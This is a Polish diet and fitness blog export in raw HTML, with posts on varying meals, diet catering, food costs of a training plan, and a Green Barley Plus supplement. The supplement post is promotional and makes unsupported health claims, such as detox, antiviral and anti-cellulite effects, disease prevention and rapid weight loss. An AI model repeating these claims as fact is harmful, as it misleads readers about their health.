<a href="https://1.bp.blogspot.com/-Oyf6C8joWe0/W87QdBvOk-I/AAAAAAAADtc/cAHmwDvA3m0d8yBfLgwLBi0D-Bg4n9AxgCLcBGAs/s1600/Tabela%2Bkalorii%2B1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="283" data-original-width="1600" height="112" src="https://1.bp.blogspot.com/-Oyf6C8joWe0/W87QdBvOk-I/AAAAAAAADtc/cAHmwDvA3m0d8yBfLgwLBi0D-Bg4n9AxgCLcBGAs/s640/Tabela%2Bkalorii%2B1.jpg" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<o:p><br /></o:p></div>
<div class="MsoNormal" style="text-align: justify;">
<o:p><br /></o:p></div>
<div class="MsoNormal" style="text-align: justify;">
Dzięki temu możemy zamienić sobie
w danym dniu ryż na ziemniaki, a kaloryczność i makro składniki zostaną takie
same. Większość tabel ma mnóstwo produktów tak wiec wystarczy wyszukiwać i
liczyć. </div>
<div class="MsoNormal" style="text-align: justify;">
Podobnie możemy robić z mięsem,
deserami, i innymi dodatkami do dań. </div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: center;">
<b>Jak jeszcze urozmaicić posiłki? <o:p></o:p></b></div>
<div class="MsoNormal" style="text-align: center;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b>- Zmiana sposobu obróbki termicznej – </b>każdy rodzaj mięsa możemy
przygotować w trochę inny sposób, dzięki czemu nadamy mu inny smak. Możemy
grillować, piec w piekarniku, gotować na parzę albo smażyć na patelni. Podobnie
niektóre dodatki do obiadu jak warzywa czy węglowodany. Znudziły Ci się warzywa
z patelni? Spróbuj zrobić je z piekarnika albo dusić. </div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b>- Eksperymentowanie z przyprawami – </b>duże ilości soli nie są
wskazane na diecie jednak mamy jeszcze cały wachlarz innych przypraw, które
również mogą zmienić nasze potrawy w zupełnie inne dania. Warto zaprzyjaźnić
się z curry, kurkumą, różnego rodzaju pieprzem oraz ziołami. Czasami drobne
zmiany przypraw pozwolą wydobyć zupełnie inny smak z mięsa czy ryżu, a nawet
owsianki. Na słodko warto sięgać po cynamon, a czasami szczyptę soli. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-fHZ90xGJL7Q/W87Rn_eGzhI/AAAAAAAADtw/KBlzAFQQb9MALfpa-IBkONGkz-wmxCRwQCLcBGAs/s1600/39453755_2180632925515710_2749459761626873856_n.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="720" height="320" src="https://1.bp.blogspot.com/-fHZ90xGJL7Q/W87Rn_eGzhI/AAAAAAAADtw/KBlzAFQQb9MALfpa-IBkONGkz-wmxCRwQCLcBGAs/s320/39453755_2180632925515710_2749459761626873856_n.jpg" width="240" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
- <b>Jogurt zamień na mleczko kokosowe – </b>od czasu do czasu zamiast
jogurtu do owsianki możesz dodać mleczko kokosowe należy pamiętać, że ma inne makrosy,
więc trzeba przeliczyć wartości w tabeli. </div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b>- Rób własny ketchup! -</b> my co jakiś czas produkujemy swój własny ketchup na bazie pomidorów w puszcze i przypraw bez dodatku cukru, potem wszystko wekujemy i mamy kilka słoików na cały miesiąc. Taki ketchup jest świetnym dodatkiem do dań wytrawnych.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-E4g1iBVz4jM/W87Rn0kcKVI/AAAAAAAADts/NKlVFX41G1gUfWi1Jk_iRDhem1-DYsUTACLcBGAs/s1600/IMG_20180319_111222_264.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1600" height="320" src="https://1.bp.blogspot.com/-E4g1iBVz4jM/W87Rn0kcKVI/AAAAAAAADts/NKlVFX41G1gUfWi1Jk_iRDhem1-DYsUTACLcBGAs/s320/IMG_20180319_111222_264.jpg" width="320" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b>- Syropy urozmaicą nudne naleśniki i owsianki –</b> ostatnio odkryliśmy
syrop daktylowy i kokosowy (oczywiście bez cukru) nie znaczy to, że lejemy je
gdzie popadnie. Ale łyżeczka na naleśnik czy owsiankę nie bardzo wpłynie na kaloryczność,
a znacznie podniesie jej smak czy naleśnika. Oczywiście mowa tu o normalnych
syropach z daktyli, a nie tych chemicznych zero kalorii dla kulturystów.
Zamiast syropu możemy także dodać na przykład łyżeczkę miodu. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: center;">
Tutaj macie omlet z dodatkiem właśnie syropu daktylowego :</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-vxLmAAJufgM/W87Q6TdvVDI/AAAAAAAADtk/zfDckh03upkL9zsYkLaWqbg0q3eY0oc_ACLcBGAs/s1600/20180803_072550.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://2.bp.blogspot.com/-vxLmAAJufgM/W87Q6TdvVDI/AAAAAAAADtk/zfDckh03upkL9zsYkLaWqbg0q3eY0oc_ACLcBGAs/s320/20180803_072550.jpg" width="320" /></a></div>
<div class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b>Reasumując</b>, jeśli masz kryzys w
diecie i planujesz ją porzucić, bo „monotonna i nudna” to wykorzystaj własną inwencję,
pokombinuj trochę z dodatkami lub inaczej przygotuj potrawę, a klasycznego
kurczaka z ryżem czy też rybę zamienisz w bardzo smaczne fit dania <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span> </div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com1tag:blogger.com,1999:blog-3244685852680001953.post-90773516433568481392018-10-10T11:49:00.001+02:002019-01-23T10:54:53.223+01:00Green Barley Plus i suplementy z zielonym jęczmieniem - jak działają na odchudzanie?<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">Tak jak wiele razy pisaliśmy na naszym
blogu na sukces w odchudzaniu składa się parę czynników takich jak między
innymi dieta, aktywność fizyczna, odpowiednie nawodnienie oraz suplementacja.
Oczywiście najlepsze efekty osiągniemy, jeśli zastosujemy się do wszystkich
wytycznych. Wiele osób obawia się takich suplementów jak białko, kreatyna czy
spalacze tłuszczu, dlatego bardzo dobrym rozwiązaniem dla nich są suplementy na
bazie młodego jęczmienia. <o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<br /></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">W internecie możemy znaleźć wiele
informacji na temat tzw. superfoods jak jagody, Goji czy Acai, a może warto
zainteresować się czymś bardziej rodzimym, czyli młodym jęczmieniem. Oprócz
właściwości sprzyjających redukcji wagi młody jęczmień charakteryzuje się
również:<o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<br /></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">- duże właściwości detoksykacyjne.<o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">- bogate źródło witaminy B, żelaza,
wapnia, cynku i magnezu.<o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">- silne działanie przeciwzapalne i
przeciwwirusowe<o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">- wspomaga metabolizm tłuszczów<o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">- obniża stężenie cholesterolu we krwi <o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">- źródło błonnika<o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">- sprzyja redukcji cellitu<o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">- poprawia kondycję włosów i paznokci.<o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<br /></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">Oprócz właściwości sprzyjających
odchudzaniu stosuje się go też prewencyjnie w leczeniu cukrzycy, chorób,
serca, nadciśnienia tętniczego, hipercholesterolemii, bezsenności czy nadwagi i
otyłości. <o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<br /></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="font-size: 13.5pt;">Młody zielony jęczmień <a href="https://naturalnemetody.pl/green-barley-plus/">Green Barley Plus</a> jak każdy suplement powinien być przyjmowany codziennie i bez przerw
w dawkowaniu tak by wybrać całą zalecaną dawkę. Dlatego najwygodniejszą formą
przyjmowania będą kapsułki, które stosujemy w liczbie dwóch dziennie przez określony
czas. Istotne jest również to, że w składzie tego preparatu znajdziemy głównie
wyciąg z zielonego jęczmienia i <span style="text-align: start; word-spacing: 5px;">garcinii cambogia, dlatego śmiało możemy mówić, że Green Barley Plus jest
w pełni naturalnym suplementem diety.</span><o:p></o:p></span></div>
<div style="margin: 0cm 0cm 0.0001pt;">
<span style="text-align: start; word-spacing: 5px;"><span style="font-size: 13.5pt;"><br />
<!--[endif]--><o:p></o:p></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-Jg30VX7x3hU/W73LCwwEewI/AAAAAAAADtE/uGPxynEJcHonnQaMC9afttEmshTBo_aKgCLcBGAs/s1600/green-barley-plus-e1495822507651.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="322" data-original-width="696" height="185" src="https://3.bp.blogspot.com/-Jg30VX7x3hU/W73LCwwEewI/AAAAAAAADtE/uGPxynEJcHonnQaMC9afttEmshTBo_aKgCLcBGAs/s400/green-barley-plus-e1495822507651.jpg" width="400" /></a></div>
<span style="text-align: start; word-spacing: 5px;"><span style="font-size: 13.5pt;"><br /></span></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-align: start;">
<span style="font-size: 13.5pt;"><span style="word-spacing: 5px;">Decydując
się te suplement poprawimy nie tylko ogólną kondycję zdrowotną naszego organizmu,
ale również wpłyniemy na jego wygląd zewnętrzny. Właściwości detoksykacyjne i
przeciwzapalne będą wpływać pozytywnie na nasz organizm od wewnątrz, a
działanie antycelulitowe i sprzyjające redukcji nadprogramowych kilogramów
spowoduje ładniejszy i smuklejszy wygląd naszego ciała. Ponadto stosowanie
Green Barley Plus wpływa na ograniczenie tak zwanych napadów głodu, a co za tym
idzie podjadania między posiłkami, które bardzo negatywnie wpływa na metabolizm
i jest jednym z głównych źródeł nadwagi. Suplement ten będzie jednym z
czynników, które wspomogą nas w walce o lepszych siebie:) <o:p></o:p></span></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-align: start;">
<span style="font-size: 13.5pt; word-spacing: 5px;">O jego
pozytywnym wpływie na walkę z kilogramami i oczyszczaniu organizmu świadczą
również pozytywne opinie ekspertów i dietetyków oraz pozytywne wrażenia ze
stosowania przez innych użytkowników. Niektórzy chwalą się wynikami nawet do -
5kg wagi w dół przez pierwszy miesiąc stosowania suplementu.</span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-align: start;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-align: start;">
<span style="font-size: 13.5pt;">
<!--[endif]--><span style="word-spacing: 5px;"><o:p></o:p></span></span></div>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p>
<o:p></o:p><br />
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black; font-size: 13.5pt;">Reasumując zielony młody jęczmień to
suplement nie tylko dla osób odchudzających się, ale warto od czasu do czasu
stosować go, jeśli jesteśmy osobami aktywnymi, dbającymi o swoje zdrowie tak by
nasz organizm otrzymywał dodatkowy zastrzyk witamin i pozytywnych składników.<o:p></o:p></span></div>
</div>
<div style="text-align: justify;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com8tag:blogger.com,1999:blog-3244685852680001953.post-51345314785240402252018-09-20T09:03:00.001+02:002018-09-20T09:07:38.043+02:00Zdrowo i smacznie w pudełku<div class="MsoNormal" style="text-align: center;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b>Jeśli chcesz się zdrowo odżywiać, nie musisz nieustannie stać przy
kuchni i wyszukiwać w pobliskich marketach stoisk ze zdrową żywnością. Zamiast
tego możesz skorzystać z rozwiązania, które pojawiło się na rynku już jakiś
czasu, a obecnie zdobywa coraz większą popularność. To sposób na zdrowe i
smaczne posiłki bez konieczności ich samodzielnego przygotowywania, a nawet
wychodzenia z domu. Do tego pozwala oszczędzić czas, pozbyć się zbędnych
kilogramów i cieszyć zróżnicowanym jadłospisem. Czy wiesz już, o czym mowa?<o:p></o:p></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
Catering dietetyczny pojawił się
na naszym rynku jakiś czas temu. Początkowo znany był tylko nielicznym, dziś doceniany jest przez sporą
grupę osób. Zalety, jakie ze sobą niesie,<a href="https://www.blogger.com/null" name="_GoBack"></a> nie ograniczają
się wyłącznie do oszczędności czasu. Jeśli chcesz je lepiej poznać, zapraszam
do lektury.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: center;">
<b>Czy jest catering dietetyczny?<o:p></o:p></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
Dieta pudełkowa, fit catering lub
dieta cateringowa to inne nazwy, z jakimi możesz się spotkać w odniesieniu do
cateringu dietetycznego. Jego idea polega na przygotowywaniu dietetycznych
posiłków w ramach usługi świadczonej przez firmę cateringową <a href="https://www.eatzone.pl/"><span style="background: white; font-family: "arial" , "sans-serif"; font-size: 10.0pt; line-height: 107%;">https://www.eatzone.pl</span></a>i
dostarczaniu ich pod wskazany przez klienta adres. <b>Posiłki dowożone są w wygodnych do przechowywania jedzenia pudełkach,
skąd usługa ta zaczerpnęła swoją nazwę.</b></div>
<div class="MsoNormal" style="text-align: justify;">
Atutem diety pudełkowej jest to,
że klient może zamówić od dwóch posiłków dziennie do nawet całodziennego
wyżywienia. Jednocześnie musi określić adres do dostawy jedzenia, ale co
ciekawe, nie musi to być jeden adres. Zdarza się, że niektórzy klienci proszę,
by przed południem dostarczyć posiłki do pracy, a po południu do domu. Możliwe
jest także wskazanie wyłącznie jednego adresu dostawy dla weekendów. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-wzCMdndgfoY/W6NGHNolNyI/AAAAAAAADss/4oHoUW3uPR8p8xNkFz1jie5W20aUuP0XwCLcBGAs/s1600/Zdrowo-i-smacznie-w-pude%25C5%2582ku%2B%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1350" data-original-width="900" height="400" src="https://3.bp.blogspot.com/-wzCMdndgfoY/W6NGHNolNyI/AAAAAAAADss/4oHoUW3uPR8p8xNkFz1jie5W20aUuP0XwCLcBGAs/s400/Zdrowo-i-smacznie-w-pude%25C5%2582ku%2B%25281%2529.jpg" width="266" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: center;">
<b>Dlaczego go cenimy?<o:p></o:p></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
To, że coraz więcej osób decyduje
się na korzystanie z cateringu dietetycznego, ma swoje podstawy. Jego zalety
dostrzegają zwłaszcza klienci, którzy musieli do tej pory liczyć kalorie oraz
ci, którym zależy na zdrowych i smacznych posiłkach. Co przekonuje ich do
korzystania z diety pudełkowej?</div>
<div class="MsoNormal" style="text-align: justify;">
Otóż <b>menu dostępne w ramach cateringu dietetycznego układane jest przez
zespół doświadczonych dietetyków.</b> Ich zadaniem jest dbanie o to, by posiłki
były przygotowywane zgodnie z zasadami zdrowego żywienia, właściwie
zbilansowane i komponowane na bazie zdrowych składników. Nie może też zabraknąćw
nichistotnych dla funkcjonowania organizmu człowieka witamin, minerałów i
innych składników odżywczych. Do skorzystania z menu diety pudełkowej zachęca
fakt, że posiłki są zróżnicowane, kolorowe i apetyczne. </div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: center;">
<b>Nie tylko dla dorosłych<o:p></o:p></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b>Z diety cateringowej mogą korzystać zarówno osoby dorosłe, jak i dzieci</b>.
Zanim jednak zamówiszjedzenie dla swojej pociechy, upewnij się, że konkretna
firma cateringowa takie menu w swojej ofercie posiada.</div>
<div class="MsoNormal" style="text-align: justify;">
Warto pamiętać też, że określenie
dieta w przypadku diety cateringowej nie oznacza ograniczania ilości
spożywanych posiłków, a raczej nastawienie na zdrowe i odpowiednio zbilansowane
odżywianie. W ramach oferty możliwe jest skorzystanie z różnych opcji
kalorycznych diety pudełkowej, a nawet z pomocy dietetyka w doborze właściwego
menu do potrzeb konkretnej osoby. </div>
<div class="MsoNormal" style="text-align: justify;">
Jeśli takie argumenty nadal Cię
nie przekonują, poszukaj wśród swoich znajomych osób, które korzystały już z
diety pudełkowej i zapytaj o ich odczucia. Z pewnością dowiesz się więcej na
temat zalet tego rozwiązania. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com6tag:blogger.com,1999:blog-3244685852680001953.post-4347716568734680562018-08-13T14:03:00.000+02:002018-08-13T14:20:16.171+02:00Jaki jest miesięczny koszt diety z Fabryki Siły ? <div style="text-align: justify;">
Często pytacie ile miesięcznie kusztuje dana dieta jednak nie chodzi Wam o koszt planu tylko o koszt jedzenia na dany miesiąc. Specjalnie dla Was wyliczyłem przybliżony koszt jedzenia na cały miesiąc dla diety na masę z <a href="http://www.fabrykasily.pl/plany_treningowe?poleca=wojciech9484677">Fabryki Siły</a> . Kaloryczność wyliczanej diety to około 3400 kcal. Koszt miesięczny jaki mi wyszedł to <b>398,96 zł **</b></div>
<div style="text-align: justify;">
<b><br /></b></div>
<div style="text-align: justify;">
Poniżej macie tabelę z produktami, gramaturą i cenami. (Ceny głównie z dyskontów i w przypadku paru produktów ze sklepów internetowych) </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<style type="text/css"><!--td {border: 1px solid #ccc;}br {mso-data-placement:same-cell;}--></style></div>
<table border="1" cellpadding="0" cellspacing="0" dir="ltr" style="border-collapse: collapse; border: none; font-family: czcionka tekstu podstawowego; font-size: 11pt; table-layout: fixed; width: 0px;" xmlns="http://www.w3.org/1999/xhtml"><colgroup><col width="243"></col><col width="120"></col><col width="120"></col><col width="150"></col></colgroup><tbody>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Mięso "}" style="background-color: yellow; border-color: rgb(0, 0, 0); font-weight: bold; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Mięso </td><td data-sheets-value="{"1":2,"2":"Waga w gramach"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); border-top-color: rgb(0, 0, 0); font-family: Arial; font-weight: bold; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">Waga w gramach</td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); border-top-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; vertical-align: middle;"></td><td data-sheets-value="{"1":2,"2":"Koszt "}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); border-top-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">Koszt </td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Filet z Indyka "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Filet z Indyka </td><td data-sheets-value="{"1":3,"3":1910}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1910</td><td data-sheets-value="{"1":2,"2":"8,99 za 400 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">8,99 za 400 g</td><td data-sheets-value="{"1":3,"3":42.91}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">42,91</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Filet z Kurczaka"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Filet z Kurczaka</td><td data-sheets-value="{"1":3,"3":1700}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1700</td><td data-sheets-value="{"1":2,"2":"13,99 zł za kg"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">13,99 zł za kg</td><td data-sheets-value="{"1":3,"3":23.783}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">23,783</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Szynka Kanapkowa "}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Szynka Kanapkowa </td><td data-sheets-value="{"1":3,"3":275}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">275</td><td data-sheets-value="{"1":2,"2":"4,99 za 140 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,99 za 140 g</td><td data-sheets-value="{"1":3,"3":9.801}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">9,801</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Inne "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Inne </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Ocet balsamiczny "}" style="background-color: white; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Ocet balsamiczny </td><td data-sheets-value="{"1":3,"3":14}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">14</td><td data-sheets-value="{"1":2,"2":"13,99 za 250 ml"}" style="background-color: white; border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">13,99 za 250 ml</td><td data-sheets-value="{"1":3,"3":0.78}" style="background-color: white; border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">0,78</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Jajka "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Jajka </td><td data-sheets-value="{"1":3,"3":35}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">35</td><td data-sheets-value="{"1":2,"2":"4,49 za 10 szt"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">4,49 za 10 szt</td><td data-sheets-value="{"1":3,"3":15.71}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">15,71</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Mrożonki "}" style="background-color: yellow; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Mrożonki </td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td><td style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;"></td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Mieszanka Zywkła "}" style="background-color: white; border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Mieszanka Zywkła </td><td data-sheets-value="{"1":3,"3":1525}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1525</td><td data-sheets-value="{"1":2,"2":"3,99 za 750 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,99 za 750 g</td><td data-sheets-value="{"1":3,"3":8.11}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">8,11</td></tr>
<tr style="height: 19px;"><td data-sheets-value="{"1":2,"2":"Mieszkanka Włoska"}" style="border-bottom-color: rgb(0, 0, 0); border-left-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: bottom;">Mieszkanka Włoska</td><td data-sheets-value="{"1":3,"3":280}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">280</td><td data-sheets-value="{"1":2,"2":"3,99 za 750 g"}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">3,99 za 750 g</td><td data-sheets-value="{"1":3,"3":1.48}" style="border-bottom-color: rgb(0, 0, 0); border-right-color: rgb(0, 0, 0); font-family: Arial; overflow: hidden; padding: 0px 3px; text-align: center; vertical-align: middle;">1,48</td></tr>
